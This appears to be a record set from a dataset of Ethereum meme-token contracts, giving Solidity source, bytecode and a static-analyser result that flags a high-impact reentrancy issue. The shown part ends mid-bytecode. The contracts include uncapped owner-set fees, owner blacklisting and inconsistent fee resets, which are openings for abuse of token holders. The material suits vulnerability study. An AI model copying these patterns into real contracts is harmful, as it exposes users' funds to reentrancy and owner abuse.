(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055c578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063bfd7928414610517578063c3c8cd801461054757600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b757600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611966565b610602565b005b34801561020a57600080fd5b5060408051808201909152600d81526c416c676f204d75736b20496e7560981b60208201525b60405161023d9190611a2b565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a80565b6106a1565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611aac565b6106b8565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601554610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611aed565b610721565b34801561037157600080fd5b506101fc610380366004611b1a565b61076c565b34801561039157600080fd5b506101fc6107b4565b3480156103a657600080fd5b506102c56103b5366004611aed565b6107ff565b3480156103c657600080fd5b506101fc610821565b3480156103db57600080fd5b506101fc6103ea366004611b35565b610895565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611aed565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b1a565b6108c4565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b50604080518082019091526008815267414c474f20494e5560c01b6020820152610230565b3480156104c357600080fd5b506101fc6104d2366004611b35565b61090c565b3480156104e357600080fd5b506101fc6104f2366004611b4e565b61093b565b34801561050357600080fd5b50610266610512366004611a80565b610979565b34801561052357600080fd5b50610266610532366004611aed565b60106020526000908152604090205460ff1681565b34801561055357600080fd5b506101fc610986565b34801561056857600080fd5b506101fc610577366004611b80565b6109da565b34801561058857600080fd5b506102c5610597366004611c04565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611b35565b610a7b565b3480156105ee57600080fd5b506101fc6105fd366004611aed565b610aaa565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611c3d565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611c72565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611c9e565b915050610638565b5050565b60006106ae338484610b94565b5060015b92915050565b60006106c5848484610cb8565b610717843361071285604051806060016040528060288152602001611db8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f4565b610b94565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161062c90611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161062c90611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e957506013546001600160a01b0316336001600160a01b0316145b6107f257600080fd5b476107fc8161122e565b50565b6001600160a01b0381166000908152600260205260408120546106b290611268565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161062c90611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161062c90611c3d565b601655565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161062c90611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062c90611c3d565b601855565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062c90611c3d565b600893909355600a91909155600955600b55565b60006106ae338484610cb8565b6012546001600160a01b0316336001600160a01b031614806109bb57506013546001600160a01b0316336001600160a01b0316145b6109c457600080fd5b60006109cf306107ff565b90506107fc816112ec565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161062c90611c3d565b60005b82811015610a75578160056000868685818110610a2657610a26611c72565b9050602002016020810190610a3b9190611aed565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6d81611c9e565b915050610a07565b50505050565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062c90611c3d565b601755565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062c90611c3d565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610e0c57506000546001600160a01b03838116911614155b156110ed57601554600160a01b900460ff16610ea5576000546001600160a01b03848116911614610ea55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601654811115610ef75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3957506001600160a01b03821660009081526010602052604090205460ff16155b610f915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6015546001600160a01b038381169116146110165760175481610fb3846107ff565b610fbd9190611cb9565b106110165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b6000611021306107ff565b60185460165491925082101590821061103a5760165491505b8080156110515750601554600160a81b900460ff16155b801561106b57506015546001600160a01b03868116911614155b80156110805750601554600160b01b900460ff165b80156110a557506001600160a01b03851660009081526005602052604090205460ff16155b80156110ca57506001600160a01b03841660009081526005602052604090205460ff16155b156110ea576110d8826112ec565b4780156110e8576110e84761122e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112f57506001600160a01b03831660009081526005602052604090205460ff165b8061116157506015546001600160a01b0385811691161480159061116157506015546001600160a01b03848116911614155b1561116e575060006111e8565b6015546001600160a01b03858116911614801561119957506014546001600160a01b03848116911614155b156111ab57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d657506014546001600160a01b03858116911614155b156111e857600a54600c55600b54600d555b610a7584848484611475565b600081848411156112185760405162461bcd60e51b815260040161062c9190611a2b565b5060006112258486611cd1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156112cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006112d96114a3565b90506112e583826114c6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133457611334611c72565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138857600080fd5b505afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c09190611ce8565b816001815181106113d3576113d3611c72565b6001600160a01b0392831660209182029290920101526014546113f99130911684610b94565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611432908590600090869030904290600401611d05565b600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148257611482611508565b61148d848484611536565b80610a7557610a75600e54600c55600f54600d55565b60008060006114b061162d565b90925090506114bf82826114c6565b9250505090565b60006112e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166d565b600c541580156115185750600d54155b1561151f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115488761169b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157a90876116f8565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a9908661173a565b6001600160a01b0389166000908152600260205260409020556115cb81611799565b6115d584836117e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164882826114c6565b82101561166457505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168e5760405162461bcd60e51b815260040161062c9190611a2b565b5060006112258486611d76565b60008060008060008060008060006116b88a600c54600d54611807565b92509250925060006116c86114a3565b905060008060006116db8e87878761185c565b919e509c509a509598509396509194505050505091939550919395565b60006112e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b6000806117478385611cb9565b9050838110156112e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b60006117a36114a3565b905060006117b183836118ac565b306000908152600260205260409020549091506117ce908261173a565b30600090815260026020526040902055505050565b6006546117f090836116f8565b600655600754611800908261173a565b6007555050565b6000808080611821606461181b89896118ac565b906114c6565b90506000611834606461181b8a896118ac565b9050600061184c826118468b866116f8565b906116f8565b9992985090965090945050505050565b600080808061186b88866118ac565b9050600061187988876118ac565b9050600061188788886118ac565b905060006118998261184686866116f8565b939b939a50919850919650505050505050565b6000826118bb575060006106b2565b60006118c78385611d98565b9050826118d48583611d76565b146112e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b803561196181611941565b919050565b6000602080838503121561197957600080fd5b823567ffffffffffffffff8082111561199157600080fd5b818501915085601f8301126119a557600080fd5b8135818111156119b7576119b761192b565b8060051b604051601f19603f830116810181811085821117156119dc576119dc61192b565b6040529182528482019250838101850191888311156119fa57600080fd5b938501935b82851015611a1f57611a1085611956565b845293850193928501926119ff565b98975050505050505050565b600060208083528351808285015260005b81811015611a5857858101830151858201604001528201611a3c565b81811115611a6a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9357600080fd5b8235611a9e81611941565b946020939093013593505050565b600080600060608486031215611ac157600080fd5b8335611acc81611941565b92506020840135611adc81611941565b929592945050506040919091013590565b600060208284031215611aff57600080fd5b81356112e581611941565b8035801515811461196157600080fd5b600060208284031215611b2c57600080fd5b6112e582611b0a565b600060208284031215611b4757600080fd5b5035919050565b60008060008060808587031215611b6457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9557600080fd5b833567ffffffffffffffff80821115611bad57600080fd5b818601915086601f830112611bc157600080fd5b813581811115611bd057600080fd5b8760208260051b8501011115611be557600080fd5b602092830195509350611bfb9186019050611b0a565b90509250925092565b60008060408385031215611c1757600080fd5b8235611c2281611941565b91506020830135611c3281611941565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb257611cb2611c88565b5060010190565b60008219821115611ccc57611ccc611c88565b500190565b600082821015611ce357611ce3611c88565b500390565b600060208284031215611cfa57600080fd5b81516112e581611941565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d555784516001600160a01b031683529383019391830191600101611d30565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db257611db2611c88565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d55134a9762d0af51430e3f0e154fac53ec16cb41ffe620a287d83bc38ae79c964736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,319 |
0xF363f35DD056167C4A2FFcB74442D09042375411 | /* Tulip Inu ($TULIP)
Our Amazing Community: https://t.me/tulipinuofficial
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TulipInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tulip Inu";
string private constant _symbol = "TULIP";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (25 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 35 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d4578063a9059cbb14610302578063c3c8cd8014610322578063d543dbeb14610337578063dd62ed3e1461035757600080fd5b80636fc3eaec1461026257806370a0823114610277578063715018a6146102975780638da5cb5b146102ac57600080fd5b806323b872dd116100dc57806323b872dd146101d1578063293230b8146101f1578063313ce567146102065780635932ead1146102225780636b9990531461024257600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b50610138610133366004611898565b61039d565b005b34801561014657600080fd5b5060408051808201909152600981526854756c697020496e7560b81b60208201525b60405161017591906119dc565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461186d565b61044a565b6040519015158152602001610175565b3480156101ba57600080fd5b506509184e72a0005b604051908152602001610175565b3480156101dd57600080fd5b5061019e6101ec36600461182d565b610461565b3480156101fd57600080fd5b506101386104ca565b34801561021257600080fd5b5060405160098152602001610175565b34801561022e57600080fd5b5061013861023d36600461195f565b610887565b34801561024e57600080fd5b5061013861025d3660046117bd565b6108cf565b34801561026e57600080fd5b5061013861091a565b34801561028357600080fd5b506101c36102923660046117bd565b610947565b3480156102a357600080fd5b50610138610969565b3480156102b857600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e057600080fd5b50604080518082019091526005815264054554c49560dc1b6020820152610168565b34801561030e57600080fd5b5061019e61031d36600461186d565b6109dd565b34801561032e57600080fd5b506101386109ea565b34801561034357600080fd5b50610138610352366004611997565b610a20565b34801561036357600080fd5b506101c36103723660046117f5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d05760405162461bcd60e51b81526004016103c790611a2f565b60405180910390fd5b60005b8151811015610446576001600a600084848151811061040257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043e81611b42565b9150506103d3565b5050565b6000610457338484610af0565b5060015b92915050565b600061046e848484610c14565b6104c084336104bb85604051806060016040528060288152602001611bad602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611026565b610af0565b5060019392505050565b6000546001600160a01b031633146104f45760405162461bcd60e51b81526004016103c790611a2f565b600f54600160a01b900460ff161561054e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058830826509184e72a000610af0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c157600080fd5b505afa15801